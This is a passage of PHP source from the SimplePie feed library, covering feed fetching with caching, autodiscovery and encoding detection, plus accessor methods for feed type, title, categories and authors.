            } elseif ($fetched === false) {
                return false;
            }

            [$headers, $sniffed] = $fetched;
        }

        // Empty response check
        if (empty($this->raw_data)) {
            $this->error = "A feed could not be found at `$this->feed_url`. Empty body.";
            $this->registry->call(Misc::class, 'error', [$this->error, E_USER_NOTICE, __FILE__, __LINE__]);
            return false;
        }

        // Set up array of possible encodings
        $encodings = [];

        // First check to see if input has been overridden.
        if ($this->input_encoding !== false) {
            $encodings[] = strtoupper($this->input_encoding);
        }

        $application_types = ['application/xml', 'application/xml-dtd', 'application/xml-external-parsed-entity'];
        $text_types = ['text/xml', 'text/xml-external-parsed-entity'];

        // RFC 3023 (only applies to sniffed content)
        if (isset($sniffed)) {
            if (in_array($sniffed, $application_types) || substr($sniffed, 0, 12) === 'application/' && substr($sniffed, -4) === '+xml') {
                if (isset($headers['content-type']) && preg_match('/;\x20?charset=([^;]*)/i', $headers['content-type'], $charset)) {
                    $encodings[] = strtoupper($charset[1]);
                }
                $encodings = array_merge($encodings, $this->registry->call(Misc::class, 'xml_encoding', [$this->raw_data, &$this->registry]));
                $encodings[] = 'UTF-8';
            } elseif (in_array($sniffed, $text_types) || substr($sniffed, 0, 5) === 'text/' && substr($sniffed, -4) === '+xml') {
                if (isset($headers['content-type']) && preg_match('/;\x20?charset=([^;]*)/i', $headers['content-type'], $charset)) {
                    $encodings[] = strtoupper($charset[1]);
                }
                $encodings[] = 'US-ASCII';
            }
            // Text MIME-type default
            elseif (substr($sniffed, 0, 5) === 'text/') {
                $encodings[] = 'UTF-8';
            }
        }

        // Fallback to XML 1.0 Appendix F.1/UTF-8/ISO-8859-1
        $encodings = array_merge($encodings, $this->registry->call(Misc::class, 'xml_encoding', [$this->raw_data, &$this->registry]));
        $encodings[] = 'UTF-8';
        $encodings[] = 'ISO-8859-1';

        // There's no point in trying an encoding twice
        $encodings = array_unique($encodings);

        // Loop through each possible encoding, till we return something, or run out of possibilities
        foreach ($encodings as $encoding) {
            // Change the encoding to UTF-8 (as we always use UTF-8 internally)
            if ($utf8_data = $this->registry->call(Misc::class, 'change_encoding', [$this->raw_data, $encoding, 'UTF-8'])) {
                // Create new parser
                $parser = $this->registry->create(Parser::class);

                // If it's parsed fine
                if ($parser->parse($utf8_data, 'UTF-8', $this->permanent_url)) {
                    $this->data = $parser->get_data();
                    if (!($this->get_type() & ~self::TYPE_NONE)) {
                        $this->error = "A feed could not be found at `$this->feed_url`. This does not appear to be a valid RSS or Atom feed.";
                        $this->registry->call(Misc::class, 'error', [$this->error, E_USER_NOTICE, __FILE__, __LINE__]);
                        return false;
                    }

                    if (isset($headers)) {
                        $this->data['headers'] = $headers;
                    }
                    $this->data['build'] = \SimplePie\Misc::get_build();

                    // Cache the file if caching is enabled
                    $this->data['cache_expiration_time'] = $this->cache_duration + time();
                    if ($cache && !$cache->set_data($this->get_cache_filename($this->feed_url), $this->data, $this->cache_duration)) {
                        trigger_error("$this->cache_location is not writable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING);
                    }
                    return true;
                }
            }
        }

        if (isset($parser)) {
            // We have an error, just set \SimplePie\Misc::error to it and quit
            $this->error = $this->feed_url;
            $this->error .= sprintf(' is invalid XML, likely due to invalid characters. XML error: %s at line %d, column %d', $parser->get_error_string(), $parser->get_current_line(), $parser->get_current_column());
        } else {
            $this->error = 'The data could not be converted to UTF-8.';
            if (!extension_loaded('mbstring') && !extension_loaded('iconv') && !class_exists('\UConverter')) {
                $this->error .= ' You MUST have either the iconv, mbstring or intl (PHP 5.5+) extension installed and enabled.';
            } else {
                $missingExtensions = [];
                if (!extension_loaded('iconv')) {
                    $missingExtensions[] = 'iconv';
                }
                if (!extension_loaded('mbstring')) {
                    $missingExtensions[] = 'mbstring';
                }
                if (!class_exists('\UConverter')) {
                    $missingExtensions[] = 'intl (PHP 5.5+)';
                }
                $this->error .= ' Try installing/enabling the ' . implode(' or ', $missingExtensions) . ' extension.';
            }
        }

        $this->registry->call(Misc::class, 'error', [$this->error, E_USER_NOTICE, __FILE__, __LINE__]);

        return false;
    }

    /**
     * Fetch the data via \SimplePie\File
     *
     * If the data is already cached, attempt to fetch it from there instead
     * @param Base|DataCache|false $cache Cache handler, or false to not load from the cache
     * @return array|true Returns true if the data was loaded from the cache, or an array of HTTP headers and sniffed type
     */
    protected function fetch_data(&$cache)
    {
        if (is_object($cache) && $cache instanceof Base) {
            // @trigger_error(sprintf('Providing $cache as "\SimplePie\Cache\Base" in %s() is deprecated since SimplePie 1.8.0, please provide "\SimplePie\Cache\DataCache" implementation instead.', __METHOD__), \E_USER_DEPRECATED);
            $cache = new BaseDataCache($cache);
        }

        if ($cache !== false && !$cache instanceof DataCache) {
            throw new InvalidArgumentException(sprintf(
                '%s(): Argument #1 ($cache) must be of type %s|false',
                __METHOD__,
                DataCache::class
            ), 1);
        }

        $cacheKey = $this->get_cache_filename($this->feed_url);

        // If it's enabled, use the cache
        if ($cache) {
            // Load the Cache
            $this->data = $cache->get_data($cacheKey, []);

            if (!empty($this->data)) {
                // If the cache is for an outdated build of SimplePie
                if (!isset($this->data['build']) || $this->data['build'] !== \SimplePie\Misc::get_build()) {
                    $cache->delete_data($cacheKey);
                    $this->data = [];
                }
                // If we've hit a collision just rerun it with caching disabled
                elseif (isset($this->data['url']) && $this->data['url'] !== $this->feed_url) {
                    $cache = false;
                    $this->data = [];
                }
                // If we've got a non feed_url stored (if the page isn't actually a feed, or is a redirect) use that URL.
                elseif (isset($this->data['feed_url'])) {
                    // Do not need to do feed autodiscovery yet.
                    if ($this->data['feed_url'] !== $this->data['url']) {
                        $this->set_feed_url($this->data['feed_url']);
                        $this->data['url'] = $this->data['feed_url'];

                        $cache->set_data($this->get_cache_filename($this->feed_url), $this->data, $this->autodiscovery_cache_duration);

                        return $this->init();
                    }

                    $cache->delete_data($this->get_cache_filename($this->feed_url));
                    $this->data = [];
                }
                // Check if the cache has been updated
                elseif (isset($this->data['cache_expiration_time']) && $this->data['cache_expiration_time'] > time()) {
                    // Want to know if we tried to send last-modified and/or etag headers
                    // when requesting this file. (Note that it's up to the file to
                    // support this, but we don't always send the headers either.)
                    $this->check_modified = true;
                    if (isset($this->data['headers']['last-modified']) || isset($this->data['headers']['etag'])) {
                        $headers = [
                            'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1',
                        ];
                        if (isset($this->data['headers']['last-modified'])) {
                            $headers['if-modified-since'] = $this->data['headers']['last-modified'];
                        }
                        if (isset($this->data['headers']['etag'])) {
                            $headers['if-none-match'] = $this->data['headers']['etag'];
                        }

                        $file = $this->registry->create(File::class, [$this->feed_url, $this->timeout / 10, 5, $headers, $this->useragent, $this->force_fsockopen, $this->curl_options]);
                        $this->status_code = $file->status_code;

                        if ($file->success) {
                            if ($file->status_code === 304) {
                                // Set raw_data to false here too, to signify that the cache
                                // is still valid.
                                $this->raw_data = false;
                                $cache->set_data($cacheKey, $this->data, $this->cache_duration);
                                return true;
                            }
                        } else {
                            $this->check_modified = false;
                            if ($this->force_cache_fallback) {
                                $cache->set_data($cacheKey, $this->data, $this->cache_duration);
                                return true;
                            }

                            unset($file);
                        }
                    }
                }
                // If the cache is still valid, just return true
                else {
                    $this->raw_data = false;
                    return true;
                }
            }
            // If the cache is empty
            else {
                $this->data = [];
            }
        }

        // If we don't already have the file (it'll only exist if we've opened it to check if the cache has been modified), open it.
        if (!isset($file)) {
            if ($this->file instanceof \SimplePie\File && $this->file->url === $this->feed_url) {
                $file = &$this->file;
            } else {
                $headers = [
                    'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1',
                ];
                $file = $this->registry->create(File::class, [$this->feed_url, $this->timeout, 5, $headers, $this->useragent, $this->force_fsockopen, $this->curl_options]);
            }
        }
        $this->status_code = $file->status_code;

        // If the file connection has an error, set SimplePie::error to that and quit
        if (!$file->success && !($file->method & self::FILE_SOURCE_REMOTE === 0 || ($file->status_code === 200 || $file->status_code > 206 && $file->status_code < 300))) {
            $this->error = $file->error;
            return !empty($this->data);
        }

        if (!$this->force_feed) {
            // Check if the supplied URL is a feed, if it isn't, look for it.
            $locate = $this->registry->create(Locator::class, [&$file, $this->timeout, $this->useragent, $this->max_checked_feeds, $this->force_fsockopen, $this->curl_options]);

            if (!$locate->is_feed($file)) {
                $copyStatusCode = $file->status_code;
                $copyContentType = $file->headers['content-type'];
                try {
                    $microformats = false;
                    if (class_exists('DOMXpath') && function_exists('Mf2\parse')) {
                        $doc = new \DOMDocument();
                        @$doc->loadHTML($file->body);
                        $xpath = new \DOMXpath($doc);
                        // Check for both h-feed and h-entry, as both a feed with no entries
                        // and a list of entries without an h-feed wrapper are both valid.
                        $query = '//*[contains(concat(" ", @class, " "), " h-feed ") or '.
                            'contains(concat(" ", @class, " "), " h-entry ")]';
                        $result = $xpath->query($query);
                        $microformats = $result->length !== 0;
                    }
                    // Now also do feed discovery, but if microformats were found don't
                    // overwrite the current value of file.
                    $discovered = $locate->find(
                        $this->autodiscovery,
                        $this->all_discovered_feeds
                    );
                    if ($microformats) {
                        if ($hub = $locate->get_rel_link('hub')) {
                            $self = $locate->get_rel_link('self');
                            $this->store_links($file, $hub, $self);
                        }
                        // Push the current file onto all_discovered feeds so the user can
                        // be shown this as one of the options.
                        if (isset($this->all_discovered_feeds)) {
                            $this->all_discovered_feeds[] = $file;
                        }
                    } else {
                        if ($discovered) {
                            $file = $discovered;
                        } else {
                            // We need to unset this so that if SimplePie::set_file() has
                            // been called that object is untouched
                            unset($file);
                            $this->error = "A feed could not be found at `$this->feed_url`; the status code is `$copyStatusCode` and content-type is `$copyContentType`";
                            $this->registry->call(Misc::class, 'error', [$this->error, E_USER_NOTICE, __FILE__, __LINE__]);
                            return false;
                        }
                    }
                } catch (\SimplePie\Exception $e) {
                    // We need to unset this so that if SimplePie::set_file() has been called that object is untouched
                    unset($file);
                    // This is usually because DOMDocument doesn't exist
                    $this->error = $e->getMessage();
                    $this->registry->call(Misc::class, 'error', [$this->error, E_USER_NOTICE, $e->getFile(), $e->getLine()]);
                    return false;
                }

                if ($cache) {
                    $this->data = [
                        'url' => $this->feed_url,
                        'feed_url' => $file->url,
                        'build' => \SimplePie\Misc::get_build(),
                        'cache_expiration_time' => $this->cache_duration + time(),
                    ];

                    if (!$cache->set_data($cacheKey, $this->data, $this->cache_duration)) {
                        trigger_error("$this->cache_location is not writable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING);
                    }
                }
            }
            $this->feed_url = $file->url;
            $locate = null;
        }

        $this->raw_data = $file->body;
        $this->permanent_url = $file->permanent_url;
        $headers = $file->headers;
        $sniffer = $this->registry->create(Sniffer::class, [&$file]);
        $sniffed = $sniffer->get_type();

        return [$headers, $sniffed];
    }

    /**
     * Get the error message for the occurred error
     *
     * @return string|array Error message, or array of messages for multifeeds
     */
    public function error()
    {
        return $this->error;
    }

    /**
     * Get the last HTTP status code
     *
     * @return int Status code
     */
    public function status_code()
    {
        return $this->status_code;
    }

    /**
     * Get the raw XML
     *
     * This is the same as the old `$feed->enable_xml_dump(true)`, but returns
     * the data instead of printing it.
     *
     * @return string|boolean Raw XML data, false if the cache is used
     */
    public function get_raw_data()
    {
        return $this->raw_data;
    }

    /**
     * Get the character encoding used for output
     *
     * @since Preview Release
     * @return string
     */
    public function get_encoding()
    {
        return $this->sanitize->output_encoding;
    }

    /**
     * Send the content-type header with correct encoding
     *
     * This method ensures that the SimplePie-enabled page is being served with
     * the correct {@link http://www.iana.org/assignments/media-types/ mime-type}
     * and character encoding HTTP headers (character encoding determined by the
     * {@see set_output_encoding} config option).
     *
     * This won't work properly if any content or whitespace has already been
     * sent to the browser, because it relies on PHP's
     * {@link http://php.net/header header()} function, and these are the
     * circumstances under which the function works.
     *
     * Because it's setting these settings for the entire page (as is the nature
     * of HTTP headers), this should only be used once per page (again, at the
     * top).
     *
     * @param string $mime MIME type to serve the page as
     */
    public function handle_content_type($mime = 'text/html')
    {
        if (!headers_sent()) {
            $header = "Content-type: $mime;";
            if ($this->get_encoding()) {
                $header .= ' charset=' . $this->get_encoding();
            } else {
                $header .= ' charset=UTF-8';
            }
            header($header);
        }
    }

    /**
     * Get the type of the feed
     *
     * This returns a \SimplePie\SimplePie::TYPE_* constant, which can be tested against
     * using {@link http://php.net/language.operators.bitwise bitwise operators}
     *
     * @since 0.8 (usage changed to using constants in 1.0)
     * @see \SimplePie\SimplePie::TYPE_NONE Unknown.
     * @see \SimplePie\SimplePie::TYPE_RSS_090 RSS 0.90.
     * @see \SimplePie\SimplePie::TYPE_RSS_091_NETSCAPE RSS 0.91 (Netscape).
     * @see \SimplePie\SimplePie::TYPE_RSS_091_USERLAND RSS 0.91 (Userland).
     * @see \SimplePie\SimplePie::TYPE_RSS_091 RSS 0.91.
     * @see \SimplePie\SimplePie::TYPE_RSS_092 RSS 0.92.
     * @see \SimplePie\SimplePie::TYPE_RSS_093 RSS 0.93.
     * @see \SimplePie\SimplePie::TYPE_RSS_094 RSS 0.94.
     * @see \SimplePie\SimplePie::TYPE_RSS_10 RSS 1.0.
     * @see \SimplePie\SimplePie::TYPE_RSS_20 RSS 2.0.x.
     * @see \SimplePie\SimplePie::TYPE_RSS_RDF RDF-based RSS.
     * @see \SimplePie\SimplePie::TYPE_RSS_SYNDICATION Non-RDF-based RSS (truly intended as syndication format).
     * @see \SimplePie\SimplePie::TYPE_RSS_ALL Any version of RSS.
     * @see \SimplePie\SimplePie::TYPE_ATOM_03 Atom 0.3.
     * @see \SimplePie\SimplePie::TYPE_ATOM_10 Atom 1.0.
     * @see \SimplePie\SimplePie::TYPE_ATOM_ALL Any version of Atom.
     * @see \SimplePie\SimplePie::TYPE_ALL Any known/supported feed type.
     * @return int \SimplePie\SimplePie::TYPE_* constant
     */
    public function get_type()
    {
        if (!isset($this->data['type'])) {
            $this->data['type'] = self::TYPE_ALL;
            if (isset($this->data['child'][self::NAMESPACE_ATOM_10]['feed'])) {
                $this->data['type'] &= self::TYPE_ATOM_10;
            } elseif (isset($this->data['child'][self::NAMESPACE_ATOM_03]['feed'])) {
                $this->data['type'] &= self::TYPE_ATOM_03;
            } elseif (isset($this->data['child'][self::NAMESPACE_RDF]['RDF'])) {
                if (isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_10]['channel'])
                || isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_10]['image'])
                || isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_10]['item'])
                || isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_10]['textinput'])) {
                    $this->data['type'] &= self::TYPE_RSS_10;
                }
                if (isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_090]['channel'])
                || isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_090]['image'])
                || isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_090]['item'])
                || isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][self::NAMESPACE_RSS_090]['textinput'])) {
                    $this->data['type'] &= self::TYPE_RSS_090;
                }
            } elseif (isset($this->data['child'][self::NAMESPACE_RSS_20]['rss'])) {
                $this->data['type'] &= self::TYPE_RSS_ALL;
                if (isset($this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['attribs']['']['version'])) {
                    switch (trim($this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['attribs']['']['version'])) {
                        case '0.91':
                            $this->data['type'] &= self::TYPE_RSS_091;
                            if (isset($this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['child'][self::NAMESPACE_RSS_20]['skiphours']['hour'][0]['data'])) {
                                switch (trim($this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['child'][self::NAMESPACE_RSS_20]['skiphours']['hour'][0]['data'])) {
                                    case '0':
                                        $this->data['type'] &= self::TYPE_RSS_091_NETSCAPE;
                                        break;

                                    case '24':
                                        $this->data['type'] &= self::TYPE_RSS_091_USERLAND;
                                        break;
                                }
                            }
                            break;

                        case '0.92':
                            $this->data['type'] &= self::TYPE_RSS_092;
                            break;

                        case '0.93':
                            $this->data['type'] &= self::TYPE_RSS_093;
                            break;

                        case '0.94':
                            $this->data['type'] &= self::TYPE_RSS_094;
                            break;

                        case '2.0':
                            $this->data['type'] &= self::TYPE_RSS_20;
                            break;
                    }
                }
            } else {
                $this->data['type'] = self::TYPE_NONE;
            }
        }
        return $this->data['type'];
    }

    /**
     * Get the URL for the feed
     *
     * When the 'permanent' mode is enabled, returns the original feed URL,
     * except in the case of an `HTTP 301 Moved Permanently` status response,
     * in which case the location of the first redirection is returned.
     *
     * When the 'permanent' mode is disabled (default),
     * may or may not be different from the URL passed to {@see set_feed_url()},
     * depending on whether auto-discovery was used, and whether there were
     * any redirects along the way.
     *
     * @since Preview Release (previously called `get_feed_url()` since SimplePie 0.8.)
     * @todo Support <itunes:new-feed-url>
     * @todo Also, |atom:link|@rel=self
     * @param bool $permanent Permanent mode to return only the original URL or the first redirection
     * iff it is a 301 redirection
     * @return string|null
     */
    public function subscribe_url($permanent = false)
    {
        if ($permanent) {
            if ($this->permanent_url !== null) {
                // sanitize encodes ampersands which are required when used in a url.
                return str_replace(
                    '&amp;',
                    '&',
                    $this->sanitize(
                        $this->permanent_url,
                        self::CONSTRUCT_IRI
                    )
                );
            }
        } else {
            if ($this->feed_url !== null) {
                return str_replace(
                    '&amp;',
                    '&',
                    $this->sanitize(
                        $this->feed_url,
                        self::CONSTRUCT_IRI
                    )
                );
            }
        }
        return null;
    }

    /**
     * Get data for an feed-level element
     *
     * This method allows you to get access to ANY element/attribute that is a
     * sub-element of the opening feed tag.
     *
     * The return value is an indexed array of elements matching the given
     * namespace and tag name. Each element has `attribs`, `data` and `child`
     * subkeys. For `attribs` and `child`, these contain namespace subkeys.
     * `attribs` then has one level of associative name => value data (where
     * `value` is a string) after the namespace. `child` has tag-indexed keys
     * after the namespace, each member of which is an indexed array matching
     * this same format.
     *
     * For example:
     * <pre>
     * // This is probably a bad example because we already support
     * // <media:content> natively, but it shows you how to parse through
     * // the nodes.
     * $group = $item->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'group');
     * $content = $group[0]['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['content'];
     * $file = $content[0]['attribs']['']['url'];
     * echo $file;
     * </pre>
     *
     * @since 1.0
     * @see http://simplepie.org/wiki/faq/supported_xml_namespaces
     * @param string $namespace The URL of the XML namespace of the elements you're trying to access
     * @param string $tag Tag name
     * @return array
     */
    public function get_feed_tags($namespace, $tag)
    {
        $type = $this->get_type();
        if ($type & self::TYPE_ATOM_10) {
            if (isset($this->data['child'][self::NAMESPACE_ATOM_10]['feed'][0]['child'][$namespace][$tag])) {
                return $this->data['child'][self::NAMESPACE_ATOM_10]['feed'][0]['child'][$namespace][$tag];
            }
        }
        if ($type & self::TYPE_ATOM_03) {
            if (isset($this->data['child'][self::NAMESPACE_ATOM_03]['feed'][0]['child'][$namespace][$tag])) {
                return $this->data['child'][self::NAMESPACE_ATOM_03]['feed'][0]['child'][$namespace][$tag];
            }
        }
        if ($type & self::TYPE_RSS_RDF) {
            if (isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][$namespace][$tag])) {
                return $this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['child'][$namespace][$tag];
            }
        }
        if ($type & self::TYPE_RSS_SYNDICATION) {
            if (isset($this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['child'][$namespace][$tag])) {
                return $this->data['child'][self::NAMESPACE_RSS_20]['rss'][0]['child'][$namespace][$tag];
            }
        }
        return null;
    }

    /**
     * Get data for an channel-level element
     *
     * This method allows you to get access to ANY element/attribute in the
     * channel/header section of the feed.
     *
     * See {@see SimplePie::get_feed_tags()} for a description of the return value
     *
     * @since 1.0
     * @see http://simplepie.org/wiki/faq/supported_xml_namespaces
     * @param string $namespace The URL of the XML namespace of the elements you're trying to access
     * @param string $tag Tag name
     * @return array
     */
    public function get_channel_tags($namespace, $tag)
    {
        $type = $this->get_type();
        if ($type & self::TYPE_ATOM_ALL) {
            if ($return = $this->get_feed_tags($namespace, $tag)) {
                return $return;
            }
        }
        if ($type & self::TYPE_RSS_10) {
            if ($channel = $this->get_feed_tags(self::NAMESPACE_RSS_10, 'channel')) {
                if (isset($channel[0]['child'][$namespace][$tag])) {
                    return $channel[0]['child'][$namespace][$tag];
                }
            }
        }
        if ($type & self::TYPE_RSS_090) {
            if ($channel = $this->get_feed_tags(self::NAMESPACE_RSS_090, 'channel')) {
                if (isset($channel[0]['child'][$namespace][$tag])) {
                    return $channel[0]['child'][$namespace][$tag];
                }
            }
        }
        if ($type & self::TYPE_RSS_SYNDICATION) {
            if ($channel = $this->get_feed_tags(self::NAMESPACE_RSS_20, 'channel')) {
                if (isset($channel[0]['child'][$namespace][$tag])) {
                    return $channel[0]['child'][$namespace][$tag];
                }
            }
        }
        return null;
    }

    /**
     * Get data for an channel-level element
     *
     * This method allows you to get access to ANY element/attribute in the
     * image/logo section of the feed.
     *
     * See {@see SimplePie::get_feed_tags()} for a description of the return value
     *
     * @since 1.0
     * @see http://simplepie.org/wiki/faq/supported_xml_namespaces
     * @param string $namespace The URL of the XML namespace of the elements you're trying to access
     * @param string $tag Tag name
     * @return array
     */
    public function get_image_tags($namespace, $tag)
    {
        $type = $this->get_type();
        if ($type & self::TYPE_RSS_10) {
            if ($image = $this->get_feed_tags(self::NAMESPACE_RSS_10, 'image')) {
                if (isset($image[0]['child'][$namespace][$tag])) {
                    return $image[0]['child'][$namespace][$tag];
                }
            }
        }
        if ($type & self::TYPE_RSS_090) {
            if ($image = $this->get_feed_tags(self::NAMESPACE_RSS_090, 'image')) {
                if (isset($image[0]['child'][$namespace][$tag])) {
                    return $image[0]['child'][$namespace][$tag];
                }
            }
        }
        if ($type & self::TYPE_RSS_SYNDICATION) {
            if ($image = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'image')) {
                if (isset($image[0]['child'][$namespace][$tag])) {
                    return $image[0]['child'][$namespace][$tag];
                }
            }
        }
        return null;
    }

    /**
     * Get the base URL value from the feed
     *
     * Uses `<xml:base>` if available, otherwise uses the first link in the
     * feed, or failing that, the URL of the feed itself.
     *
     * @see get_link
     * @see subscribe_url
     *
     * @param array $element
     * @return string
     */
    public function get_base($element = [])
    {
        if (!empty($element['xml_base_explicit']) && isset($element['xml_base'])) {
            return $element['xml_base'];
        } elseif ($this->get_link() !== null) {
            return $this->get_link();
        }

        return $this->subscribe_url();
    }

    /**
     * Sanitize feed data
     *
     * @access private
     * @see \SimplePie\Sanitize::sanitize()
     * @param string $data Data to sanitize
     * @param int $type One of the \SimplePie\SimplePie::CONSTRUCT_* constants
     * @param string $base Base URL to resolve URLs against
     * @return string Sanitized data
     */
    public function sanitize($data, $type, $base = '')
    {
        try {
            return $this->sanitize->sanitize($data, $type, $base);
        } catch (\SimplePie\Exception $e) {
            if (!$this->enable_exceptions) {
                $this->error = $e->getMessage();
                $this->registry->call(Misc::class, 'error', [$this->error, E_USER_WARNING, $e->getFile(), $e->getLine()]);
                return '';
            }

            throw $e;
        }
    }

    /**
     * Get the title of the feed
     *
     * Uses `<atom:title>`, `<title>` or `<dc:title>`
     *
     * @since 1.0 (previously called `get_feed_title` since 0.8)
     * @return string|null
     */
    public function get_title()
    {
        if ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'title')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'title')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_10, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_090, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_11, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_10, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        }

        return null;
    }

    /**
     * Get a category for the feed
     *
     * @since Unknown
     * @param int $key The category that you want to return. Remember that arrays begin with 0, not 1
     * @return \SimplePie\Category|null
     */
    public function get_category($key = 0)
    {
        $categories = $this->get_categories();
        if (isset($categories[$key])) {
            return $categories[$key];
        }

        return null;
    }

    /**
     * Get all categories for the feed
     *
     * Uses `<atom:category>`, `<category>` or `<dc:subject>`
     *
     * @since Unknown
     * @return array|null List of {@see \SimplePie\Category} objects
     */
    public function get_categories()
    {
        $categories = [];

        foreach ((array) $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'category') as $category) {
            $term = null;
            $scheme = null;
            $label = null;
            if (isset($category['attribs']['']['term'])) {
                $term = $this->sanitize($category['attribs']['']['term'], self::CONSTRUCT_TEXT);
            }
            if (isset($category['attribs']['']['scheme'])) {
                $scheme = $this->sanitize($category['attribs']['']['scheme'], self::CONSTRUCT_TEXT);
            }
            if (isset($category['attribs']['']['label'])) {
                $label = $this->sanitize($category['attribs']['']['label'], self::CONSTRUCT_TEXT);
            }
            $categories[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
        }
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_RSS_20, 'category') as $category) {
            // This is really the label, but keep this as the term also for BC.
            // Label will also work on retrieving because that falls back to term.
            $term = $this->sanitize($category['data'], self::CONSTRUCT_TEXT);
            if (isset($category['attribs']['']['domain'])) {
                $scheme = $this->sanitize($category['attribs']['']['domain'], self::CONSTRUCT_TEXT);
            } else {
                $scheme = null;
            }
            $categories[] = $this->registry->create(Category::class, [$term, $scheme, null]);
        }
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_DC_11, 'subject') as $category) {
            $categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], self::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_DC_10, 'subject') as $category) {
            $categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], self::CONSTRUCT_TEXT), null, null]);
        }

        if (!empty($categories)) {
            return array_unique($categories);
        }

        return null;
    }

    /**
     * Get an author for the feed
     *
     * @since 1.1
     * @param int $key The author that you want to return. Remember that arrays begin with 0, not 1
     * @return \SimplePie\Author|null
     */
    public function get_author($key = 0)
    {
        $authors = $this->get_authors();
        if (isset($authors[$key])) {
            return $authors[$key];
        }

        return null;
    }

    /**
     * Get all authors for the feed
     *
     * Uses `<atom:author>`, `<author>`, `<dc:creator>` or `<itunes:author>`
     *
     * @since 1.1
     * @return array|null List of {@see \SimplePie\Author} objects
     */
    public function get_authors()
    {
        $authors = [];
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'author') as $author) {
            $name = null;
            $uri = null;
            $email = null;
            if (isset($author['child'][self::NAMESPACE_ATOM_10]['name'][0]['data'])) {
                $name = $this->sanitize($author['child'][self::NAMESPACE_ATOM_10]['name'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if (isset($author['child'][self::NAMESPACE_ATOM_10]['uri'][0]['data'])) {
                $uri = $this->sanitize($author['child'][self::NAMESPACE_ATOM_10]['uri'][0]['data'], self::CONSTRUCT_IRI, $this->get_base($author['child'][self::NAMESPACE_ATOM_10]['uri'][0]));
            }
            if (isset($author['child'][self::NAMESPACE_ATOM_10]['email'][0]['data'])) {
                $email = $this->sanitize($author['child'][self::NAMESPACE_ATOM_10]['email'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $uri !== null) {
                $authors[] = $this->registry->create(Author::class, [$name, $uri, $email]);
            }
        }
        if ($author = $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'author')) {
            $name = null;
            $url = null;
            $email = null;
            if (isset($author[0]['child'][self::NAMESPACE_ATOM_03]['name'][0]['data'])) {
                $name = $this->sanitize($author[0]['child'][self::NAMESPACE_ATOM_03]['name'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if (isset($author[0]['child'][self::NAMESPACE_ATOM_03]['url'][0]['data'])) {
                $url = $this->sanitize($author[0]['child'][self::NAMESPACE_ATOM_03]['url'][0]['data'], self::CONSTRUCT_IRI, $this->get_base($author[0]['child'][self::NAMESPACE_ATOM_03]['url'][0]));
            }
            if (isset($author[0]['child'][self::NAMESPACE_ATOM_03]['email'][0]['data'])) {
                $email = $this->sanitize($author[0]['child'][self::NAMESPACE_ATOM_03]['email'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $url !== null) {
                $authors[] = $this->registry->create(Author::class, [$name, $url, $email]);
            }
        }
